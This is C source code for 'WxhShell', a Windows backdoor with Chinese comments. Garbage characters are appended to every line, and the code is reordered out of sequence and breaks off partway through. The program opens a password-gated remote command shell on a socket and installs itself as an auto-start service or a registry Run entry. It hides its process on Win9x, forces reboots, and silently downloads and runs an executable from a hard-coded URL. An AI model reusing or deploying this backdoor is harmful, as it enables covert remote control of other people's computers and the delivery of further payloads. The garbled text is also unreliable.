    closesocket(wsh); gO%i5  
    ExitThread(0); #R PB;#{  
    } Iw |[*Nu-  
    break; a4.: i  
    } ~JPzjE  
  // 获取shell 3M*[a~  
  case 's': { GWZXRUc  
    CmdShell(wsh); cRr `r[t  
    closesocket(wsh); <\~#\A=;  
    ExitThread(0); wXGFq3`  
    break; P1>X5:  
  } y" -{6{3  
  // 退出 wSyu^KDz  
  case 'x': { s(.-bjR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |+~2sbM  
    CloseIt(wsh); j77}{5@p  
    break; FOG+[v  
    } G&3<rT3Ib  
  // 离开 Y1+lk^  
  case 'q': { 2=M!lB *  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u.Yb#?  
    closesocket(wsh); M%^laf  
    WSACleanup(); [te7 uZv-  
    exit(1); DkKD~  
    break; s9bP6N!,  
        } p&l:937  
  } ZSt ww{Z  
  } becQ5w/~  
N|vJrye  
  // 提示信息 Li^!OHro.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I>Yp=R  
} i~L7h=__  
  } ADz|Y~V!  
yuX 0Y{:I  
  return; qW>J-,61/  
} GTNTx5H  
#7ZBbq3=  
// shell模块句柄 :+!b8[?Z  
int CmdShell(SOCKET sock) 4O^1gw  
{ )d`$2D&iY  
STARTUPINFO si; rWqA)j*!  
ZeroMemory(&si,sizeof(si)); <);u]0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }!Lr!eALr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^ s4|  
PROCESS_INFORMATION ProcessInfo; ]#.#]}=  
char cmdline[]="cmd"; TaT&x_v^~a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \ y",Qq?  
  return 0; iL1so+di  
} Sn&%epi  
.r'.5RI A  
// 自身启动模式 T9?_ `h  
int StartFromService(void) &,7(Wab  
{ @CDRbXoFk  
typedef struct 6^Vf 5W{  
{ p2^OQK  
  DWORD ExitStatus; yQ50f~9  
  DWORD PebBaseAddress; c= u ORt>  
  DWORD AffinityMask; {p iS3xBi  
  DWORD BasePriority; r |/9Dn%  
  ULONG UniqueProcessId; 92Iv'(1ba  
  ULONG InheritedFromUniqueProcessId; < *OF  
}   PROCESS_BASIC_INFORMATION; j"s(?  
6suc:rp";  
PROCNTQSIP NtQueryInformationProcess; Lp=B? H  
B,T.bgp\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K? k`U,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .Oh$sma1  
c3dZ1v  
  HANDLE             hProcess; WcFZRy-erc  
  PROCESS_BASIC_INFORMATION pbi; rfoCYsX'  
_A r ,]v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t:7jlD!d  
  if(NULL == hInst ) return 0; N0PX<$y  
>0oc=9H8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r%i{a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bT}WJ2}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mgWtjV 8  
qFk(UazN  
  if (!NtQueryInformationProcess) return 0; ^*OA%wg3=h  
&IYkeGQr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /o2eKx  
  if(!hProcess) return 0; 6"(&lK\^  
hlZjk0ez  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ):@B1 yR  
-(EqBr@_  
  CloseHandle(hProcess); &#l M$7/  
CiSG=obw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }1wuH  
if(hProcess==NULL) return 0; y6oDbwke  
) LG/n  
HMODULE hMod; Lsdu:+-  
char procName[255]; u[DV{o  
unsigned long cbNeeded; +#no$m.bH  
`U R.Rn/x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mfvQ]tz_+  
KVCS(oN  
  CloseHandle(hProcess); vY6|V$  
eMwf'*#  
if(strstr(procName,"services")) return 1; // 以服务启动 Sy_M!`B  
J98K:SAR  
  return 0; // 注册表启动 XN@5TZoaW  
} oS4ag  
wHmEt ORo  
// 主模块 1tDN$rM5  
int StartWxhshell(LPSTR lpCmdLine) [g? NU]  
{ P_gQ-pF.  
  SOCKET wsl; cW RY[{v  
BOOL val=TRUE; '};Xb|msU  
  int port=0; RUEU n  
  struct sockaddr_in door; ?=l(29tH  
Q%a4g  
  if(wscfg.ws_autoins) Install(); ?S_S.Bd  
'&Ku Ba  
port=atoi(lpCmdLine); -l",!sV  
{f)p|)  
if(port<=0) port=wscfg.ws_port; PJLA^eC7>  
d={}a,3?  
  WSADATA data; .jCdJ =z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L`\ILJz  
}7V/(K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q|>y2g!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S%4 K-I  
  door.sin_family = AF_INET; nT>?}/S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [;(| ^0  
  door.sin_port = htons(port); (8I0%n}.Zo  
{XVSHUtw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jd |hwvwFe  
closesocket(wsl);  oDC3AK&  
return 1; G~JQcJFj  
} gC 4w&yL  
U+K_eEI0_I  
  if(listen(wsl,2) == INVALID_SOCKET) { 'D1@+FFU0  
closesocket(wsl); yS?1JWUC>  
return 1; u!Z&c7kPI  
} i@2?5U>h  
  Wxhshell(wsl); Z'EZPuZ!'  
  WSACleanup(); Po2YDj`  
 np~oF  
return 0; yCz? V[49  
MG~^>  
} xzy9~))o  
FOZqN K  
// 以NT服务方式启动 dLAElTg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RGiA>Z:W  
{ P"- ,^?6  
DWORD   status = 0; Q>.-u6(&  
  DWORD   specificError = 0xfffffff; P6X 4m(t  
-X |G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k -SUp8}g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _+UD>u{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E_xpq  
  serviceStatus.dwWin32ExitCode     = 0; 6rRPqO j  
  serviceStatus.dwServiceSpecificExitCode = 0; pdE=9l'  
  serviceStatus.dwCheckPoint       = 0; ~2pctqMA  
  serviceStatus.dwWaitHint       = 0;  @]A4{  
2LgRgY{Bl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U'@_fg  
  if (hServiceStatusHandle==0) return;  iKDGYM  
rtY0?  
status = GetLastError(); -8-Aqh8|  
  if (status!=NO_ERROR) md<%Z4+  
{ Chjth"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;X\!*Loe  
    serviceStatus.dwCheckPoint       = 0; NxNz(R $~  
    serviceStatus.dwWaitHint       = 0; H*l8,*M}  
    serviceStatus.dwWin32ExitCode     = status; /9 [nogP  
    serviceStatus.dwServiceSpecificExitCode = specificError; eX}uZR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9#1lxT4%  
    return; #MI}KmH  
  } ];IUiS1  
[*,`a]z-Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vK|d P3  
  serviceStatus.dwCheckPoint       = 0; L8!xn&uyP=  
  serviceStatus.dwWaitHint       = 0; Wvcj\2'yd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y*P[* /g  
} c/pT2/y  
lqu1H&  
// 处理NT服务事件,比如:启动、停止 &C?]n.A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5?QR  
{ @v|_APy#  
switch(fdwControl) _pW\F(+8  
{ Dtelr=/s  
case SERVICE_CONTROL_STOP: xAsbP$J:  
  serviceStatus.dwWin32ExitCode = 0; Nmp1[/{J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aWW|.#L  
  serviceStatus.dwCheckPoint   = 0; _t3n<  
  serviceStatus.dwWaitHint     = 0; :)bm+xWFF  
  { 5y@JMQSO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EpS"NQEe  
  } q S2#=  
  return; O7:JG[tR*  
case SERVICE_CONTROL_PAUSE: ;Cm%<vW4!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iYBs )  
  break; Vhv<w O Ct  
case SERVICE_CONTROL_CONTINUE: 1[/X$DyaK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K6_{AuL}4  
  break; 03[(dRK>=  
case SERVICE_CONTROL_INTERROGATE: |no '^  
  break; < JA5.6<=  
}; :*#I1nb$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KZJ;O7'`  
} r6QNs1f~.  
We_/:=  
// 标准应用程序主函数 EnZrnoGM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V#=o<  
{ (Z;-u+ }.  
cl30"WK!  
// 获取操作系统版本 U C3?XoT\  
OsIsNt=GetOsVer(); 8E ^yHd4Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #:e52=  
-# |J  
  // 从命令行安装 1\TXb!OtL  
  if(strpbrk(lpCmdLine,"iI")) Install(); c{7!:hi`x  
NAlYfbp  
  // 下载执行文件 ^LX1&yT@  
if(wscfg.ws_downexe) { d7qHUx'=z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ft#d & I  
  WinExec(wscfg.ws_filenam,SW_HIDE); V)oUSHillH  
} /T!S)FD\/v  
D<]z.33  
if(!OsIsNt) { ?n8gB7(FA  
// 如果时win9x,隐藏进程并且设置为注册表启动 inBBU[Sl  
HideProc(); 8S"vRR  
StartWxhshell(lpCmdLine); XL1v&'HLV  
} ^?VYE26  
else '!I^Lfz-Z  
  if(StartFromService()) ,nD:W  
  // 以服务方式启动 eR4%4gW)  
  StartServiceCtrlDispatcher(DispatchTable); 4#{i  
else }E+#*R3auB  
  // 普通方式启动 7loIX Qw  
  StartWxhshell(lpCmdLine); Y.$ '<1  
S~.:B2=5K  
return 0; Es/\/vF7]D  
} G'{$$+U^K  
|[7xTD  
Z_.Eale^  
?6P P_QY  
=========================================== o$8v8="p  
DG}} S 5  
%6}S1fuA  
N:[22`NP  
l*T> 9yC  
z|; 7;TwA  
" %"Q{|}  
z=J%-Hq>  
#include <stdio.h> B`3RyM"J@  
#include <string.h> uDJi2,|n  
#include <windows.h> CZcn X8P'8  
#include <winsock2.h> <2Lcy&w_M  
#include <winsvc.h> #05#@v8.f  
#include <urlmon.h> Mn7nS:  
TO7%TW{L  
#pragma comment (lib, "Ws2_32.lib") ;3wj(o0  
#pragma comment (lib, "urlmon.lib") {1,]8!HBJ  
K<'L7>s3lA  
#define MAX_USER   100 // 最大客户端连接数 zA4m !l*eM  
#define BUF_SOCK   200 // sock buffer !_P;4E  
#define KEY_BUFF   255 // 输入 buffer KLK '_)|CT  
RLBjl%Q>  
#define REBOOT     0   // 重启 Xo]QV.n  
#define SHUTDOWN   1   // 关机 -h+=^,  
SV*h9LL  
#define DEF_PORT   5000 // 监听端口 6UOV,`:m+  
 W|XTa  
#define REG_LEN     16   // 注册表键长度 T|dQY~n~  
#define SVC_LEN     80   // NT服务名长度 o7Ms]AblT  
@|kBc.(]  
// 从dll定义API eV$pza  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <+ 0cQq=2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `\LhEnIwu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sp8Xka~5*#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rV.04m,  
e]R`B}vO  
// wxhshell配置信息 V9 qZa  
struct WSCFG { MN1 kR  
  int ws_port;         // 监听端口 pJ kaP  
  char ws_passstr[REG_LEN]; // 口令 8Yfg@"Tn  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y Y4"r\V  
  char ws_regname[REG_LEN]; // 注册表键名 JQ|qg\[  
  char ws_svcname[REG_LEN]; // 服务名 JRQ{Q"`)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Esh3 cn4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _hT-5)1r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  Khd"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *((wp4b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M =Pn8<h~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {*WJ"9ujp]  
M JJ]8:%  
}; m>dZ n  
)wkh  
// default Wxhshell configuration H}G=%j0  
struct WSCFG wscfg={DEF_PORT, LB*qL  
    "xuhuanlingzhe", *=UxX ] 0y  
    1, ie4keVlXc  
    "Wxhshell", X"QIH|qx-  
    "Wxhshell", g%()8QxE1  
            "WxhShell Service", aRFLh  
    "Wrsky Windows CmdShell Service", S;a'@5  
    "Please Input Your Password: ", |GPR3%9  
  1, eZDqW)x  
  "http://www.wrsky.com/wxhshell.exe", {ctEjgiE  
  "Wxhshell.exe" ke.{wh\0  
    }; C9l5zb~D  
yKE[,"  
// 消息定义模块 !: e(-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]L0GIVIE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~"\qX+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ut6M$d4  
char *msg_ws_ext="\n\rExit."; l#7].-/  
char *msg_ws_end="\n\rQuit."; f tBbO8e  
char *msg_ws_boot="\n\rReboot..."; zJ;K4)"j  
char *msg_ws_poff="\n\rShutdown..."; \QF\Bh  
char *msg_ws_down="\n\rSave to "; $@m)8T  
3f'dBn5  
char *msg_ws_err="\n\rErr!"; YTBZklM  
char *msg_ws_ok="\n\rOK!"; Cj).  
BR8W8nRb  
char ExeFile[MAX_PATH]; 5#jna9Xc  
int nUser = 0; dc#Db~v}k  
HANDLE handles[MAX_USER]; O6rrv,+_L  
int OsIsNt; `x;8,7W;B  
@NBWNgBv  
SERVICE_STATUS       serviceStatus; "=~P&Mi_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $lkd9r1   
)c9]}:W&  
// 函数声明 &cj/8A5-  
int Install(void); /<Nb/#8  
int Uninstall(void); -9BKa~ DVQ  
int DownloadFile(char *sURL, SOCKET wsh); L||_Jsu  
int Boot(int flag); Dd+ f,$  
void HideProc(void); ucm 3'j  
int GetOsVer(void); X]'Hz@$N  
int Wxhshell(SOCKET wsl); CbK&.a  
void TalkWithClient(void *cs); <:#O*Y{  
int CmdShell(SOCKET sock); 4Q0@\dR9  
int StartFromService(void); _Q<wb8+/  
int StartWxhshell(LPSTR lpCmdLine); b XcDsP$.  
YT;b$>1v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^+Ez[S{8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 75Xi%mlE7  
j!r 4p,  
// 数据结构和表定义 MFHPh8P  
SERVICE_TABLE_ENTRY DispatchTable[] = z-G|EAON"/  
{ y<YVb@O.  
{wscfg.ws_svcname, NTServiceMain}, <j1l&H|ux,  
{NULL, NULL} k*bfq?E a  
}; G9\Bi-'ul  
ld1t1'I'  
// 自我安装 ]pLQ;7f7D  
int Install(void) fShf4G_w\  
{ =J.)xDx*  
  char svExeFile[MAX_PATH]; RVN"lDGA  
  HKEY key; LV:oNK(  
  strcpy(svExeFile,ExeFile); sr\lz}JW  
Kq/W-VyGh  
// 如果是win9x系统,修改注册表设为自启动 <i'4EnO  
if(!OsIsNt) { 7BCCQsz<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fk!wq. a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +3e(psdg  
  RegCloseKey(key); qs6yEuh#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oS)0,p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s-r$%9o5  
  RegCloseKey(key); ^SCZ  
  return 0; ,=l MtW  
    } Ygn"7  
  } Uq)|]a&e  
} M;W{A)0i1  
else { );$Uf!v4  
>]"5K<-1  
// 如果是NT以上系统,安装为系统服务  ,[ +  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #{(?a.:  
if (schSCManager!=0) iR4CY-  
{ ~fsAPIQ  
  SC_HANDLE schService = CreateService h 88iZK  
  ( '6{q;Bxo  
  schSCManager,  ;9c3IK@  
  wscfg.ws_svcname, ?)Lktn9%  
  wscfg.ws_svcdisp, BZ1@?3  
  SERVICE_ALL_ACCESS, }Evyfc#D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O7j$bxk/^  
  SERVICE_AUTO_START, yuswWc '  
  SERVICE_ERROR_NORMAL, ,KkENp_  
  svExeFile, c[<lr  
  NULL, G5zZf ~r  
  NULL, D>c%5h  
  NULL, qsFA~{o.  
  NULL, dk({J   
  NULL .D^k0V  
  ); >U"f1q*$  
  if (schService!=0) Opmb   
  { $$ {ebt  
  CloseServiceHandle(schService); u4$d#0sA  
  CloseServiceHandle(schSCManager); 3Q[]lFJ}F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -O~WHi5}  
  strcat(svExeFile,wscfg.ws_svcname); '. atbl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dz5bW>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4'+/R%jk"  
  RegCloseKey(key); o&*1Mx<+  
  return 0; S7wZCQe  
    } S~YrXQ{_>-  
  } t K{`?NS  
  CloseServiceHandle(schSCManager); lZ^XZjwoM  
} :@_CQc*yB  
} `Lm ArW:  
lhQ*;dMj%"  
return 1; H) q9.Jg  
} bLu6|YB  
Podm 3b  
// 自我卸载 ]|Vm!Q  
int Uninstall(void) 0plRsZ}  
{ !Si ZA"  
  HKEY key; e[915Q_  
'ycs{}'  
if(!OsIsNt) { ,PRM(n-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QHMXQyr(  
  RegDeleteValue(key,wscfg.ws_regname); 6xnJyEQUM  
  RegCloseKey(key); M/d!&Bk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BT d$n!'$n  
  RegDeleteValue(key,wscfg.ws_regname); uT]_pKm  
  RegCloseKey(key); v.r$]O  
  return 0; J[LGa:``  
  } s}|IRDpp  
} ]o,)#/' $  
} (jY.S|%  
else { An]*J|nFIY  
c~R ElL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !n uXK  
if (schSCManager!=0) f=/S]o4/3  
{ lt,x(2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YqNhD6  
  if (schService!=0) >Cd%tIie*  
  { ?A62VV51CN  
  if(DeleteService(schService)!=0) { A|RAMO@le  
  CloseServiceHandle(schService); -iH/~a  
  CloseServiceHandle(schSCManager); ml?+JbLg0  
  return 0; Qt>yRt  
  } Y 3KCIL9  
  CloseServiceHandle(schService); [>"qOFCr#:  
  } D*D83z OzN  
  CloseServiceHandle(schSCManager); 8(Z*Vz uu  
} OY"{XnPZ  
} 9QY)<K~a  
>2VB.f  
return 1; $ P#k|A  
} ;PS [VdV  
r T* :1  
// 从指定url下载文件 1/le%}mK  
int DownloadFile(char *sURL, SOCKET wsh) 83TN6gW  
{ FpW{=4yk  
  HRESULT hr; Atfon&^  
char seps[]= "/"; `]tXQqD  
char *token; lfj>]om$  
char *file; 4s"8e]q=  
char myURL[MAX_PATH]; O^:Rm=,$  
char myFILE[MAX_PATH]; ~f%gW  
eKStt|M'  
strcpy(myURL,sURL); 2^ UFP+Yw  
  token=strtok(myURL,seps); kv (N/G  
  while(token!=NULL) N@j|I* y|  
  { jr!x)yd  
    file=token; U8< GD|  
  token=strtok(NULL,seps); vNJ!i\bX  
  } vkBngsS  
CiPD+I  
GetCurrentDirectory(MAX_PATH,myFILE); Keof{>V=CA  
strcat(myFILE, "\\"); y!aq}YS  
strcat(myFILE, file); YO-O-NEP  
  send(wsh,myFILE,strlen(myFILE),0); xQJdt $]U@  
send(wsh,"...",3,0); 8Cm^#S,+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z),l&7  
  if(hr==S_OK) }"xC1<]  
return 0; $f C=v  
else  "&C'K  
return 1; Bxm^Arc>  
0c:CA>F  
} c]xpp;%]  
?}lCS7&  
// 系统电源模块 vx-u+/\  
int Boot(int flag) ]Fj z+CGg  
{ YQYN.\  
  HANDLE hToken; S)Ld^0w  
  TOKEN_PRIVILEGES tkp; dks0  
 -JUv'fk  
  if(OsIsNt) { cQ+V 4cW Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Txw,B2e)>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KN+*_L-  
    tkp.PrivilegeCount = 1; <y`yKXzBUV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e@X~F6nP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |4-Ey! P  
if(flag==REBOOT) { e#W@ep|n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vwv O@G7A  
  return 0; v3@)q0@  
} G m.v-T$  
else { Grw_SVa^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J.O;c5wL  
  return 0; {OQ sGyR?  
} y0=BL  
  } /nC"'d(#  
  else { :Eob"WH  
if(flag==REBOOT) { y8,es$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <vbk@d  
  return 0; flmcY7ZV  
} z2,rnm)Q  
else { } 10Dvt>+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) My5X%)T>P  
  return 0; &=s{ +0  
} i&?~QQP`  
} o]k[l ;  
/+66y=`UJ  
return 1; ^(6.P)$  
} j&#p&`B  
tc# rL   
// win9x进程隐藏模块 tU?lfU[7  
void HideProc(void) tM !1oWH  
{ A}oR,$D-  
G.(9I~!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q 2= ^l  
  if ( hKernel != NULL ) e4?}#6RF  
  { u#}zNz#C5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a:P% r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AoTL )',  
    FreeLibrary(hKernel); Ak4iG2  
  } sy]1Ba%  
)b5MP1H  
return; LR`/pet  
} !m^WtF  
N!btj,vx  
// 获取操作系统版本 ~Ilgc CF  
int GetOsVer(void) D4 e)v%  
{ z+wBZn{0I  
  OSVERSIONINFO winfo; Aja'`Mu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^8We}bs-c  
  GetVersionEx(&winfo); !f"@pR6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vY.p~3q :)  
  return 1; i\,#Z!  
  else 6IeHZ)jGj  
  return 0; K _y;<a]  
} iiO4.@nT  
o'Po<I  
// 客户端句柄模块 KS%xo6k.  
int Wxhshell(SOCKET wsl) ;2& (]1X  
{ ]k>S0  
  SOCKET wsh; 80 p7+W2m  
  struct sockaddr_in client; ?;}2 Z)  
  DWORD myID; uv._N6mj  
h5B'w  
  while(nUser<MAX_USER) et)A$'Q  
{ `ZNz Dr  
  int nSize=sizeof(client); z`{Ld9W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C2bN<K  
  if(wsh==INVALID_SOCKET) return 1; N "FQMxqm  
Qv[@ioc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jf4D">h  
if(handles[nUser]==0) VxaJ[s3PQ&  
  closesocket(wsh); Hz+edM UL  
else >_tn7Z0 L  
  nUser++; _[IN9ZC2G  
  } |P~TZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @K2q*d  
-pyTzC$HO  
  return 0; '6[0NuB  
} :'a |cjq  
E+F!u5u  
// 关闭 socket bi[vs|  
void CloseIt(SOCKET wsh) +>37 'PD  
{ v(]\o;/O  
closesocket(wsh); qKZ~)B j  
nUser--; wVV'9pw}  
ExitThread(0); yj"+!g  
} m[(2  
;S2^f;q~$  
// 客户端请求句柄 ,Q2`N{f  
void TalkWithClient(void *cs) +-K-CXt  
{ ')+'m1N  
oB#KR1 >%7  
  SOCKET wsh=(SOCKET)cs; d#Ql>PrY  
  char pwd[SVC_LEN]; 9xN4\y6F  
  char cmd[KEY_BUFF]; R\ <HR9r  
char chr[1]; qAHQZKk  
int i,j; _}{C?611c  
ST] h NM  
  while (nUser < MAX_USER) { D$!(Iae  
wHAoO#`wn5  
if(wscfg.ws_passstr) { vRYfB{~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9<G-uF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o-yZ$+V  
  //ZeroMemory(pwd,KEY_BUFF); Mb"i}Yt{  
      i=0; /87?U; |V  
  while(i<SVC_LEN) { $wub)^  
DO8@/W( `  
  // 设置超时 jV#{8 8  
  fd_set FdRead; e4j:IK>  
  struct timeval TimeOut; 6"/cz~h  
  FD_ZERO(&FdRead); TW7jp  
  FD_SET(wsh,&FdRead); 1#gveHm]-G  
  TimeOut.tv_sec=8; :Fm;0R@/k  
  TimeOut.tv_usec=0; IlN9IF\9L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sy0|=E*;8"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GNgPf"}K  
#kR8v[Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T;-&3  
  pwd=chr[0]; U\*}}   
  if(chr[0]==0xd || chr[0]==0xa) { @6~r7/WD  
  pwd=0; &O/;YGEAB  
  break; ]N!8U_U3  
  } < HlS0J9  
  i++; kn:X^mDXC/  
    } V\5ZRLawP  
k2(B{x}L  
  // 如果是非法用户,关闭 socket ]DHB'NOh,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iO4Yfj#?  
} ]+@@{?0  
airg[dK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dUegHBw_`R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4^/MDM@  
yU<T_&M  
while(1) { &FHzd/  
TmZ sC5  
  ZeroMemory(cmd,KEY_BUFF); 7jPPN  
#fk#RNt  
      // 自动支持客户端 telnet标准   [Q9#44@{S;  
  j=0; SM;UNIRVE  
  while(j<KEY_BUFF) { ' 5`w5swbc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v50w}w'  
  cmd[j]=chr[0]; 0' j/ 9vm  
  if(chr[0]==0xa || chr[0]==0xd) { X` r~cc  
  cmd[j]=0; b9`vYnLk  
  break; 4BF \- lq~  
  } qtlXDgppO  
  j++; HG kL6o=  
    } 'b1k0 9'  
jRdmQ mTJ  
  // 下载文件  }^3CG9%  
  if(strstr(cmd,"http://")) { {HoeK>rd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lmh4ezrdH  
  if(DownloadFile(cmd,wsh)) +OEqDXR+_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Cv 6wC=  
  else ?D[9-K4Vn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /<zBjvr%%  
  } P)D2PVD  
  else { PqUjBP\  
L F<{/c9,  
    switch(cmd[0]) { *BdKQ/Dk  
  )DG>omCY  
  // 帮助 ^UJB%l  
  case '?': { vU(uu:U9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dC,a~`%O  
    break; 4 q-/R  
  } ECW=865jL  
  // 安装 $f>h_8cla  
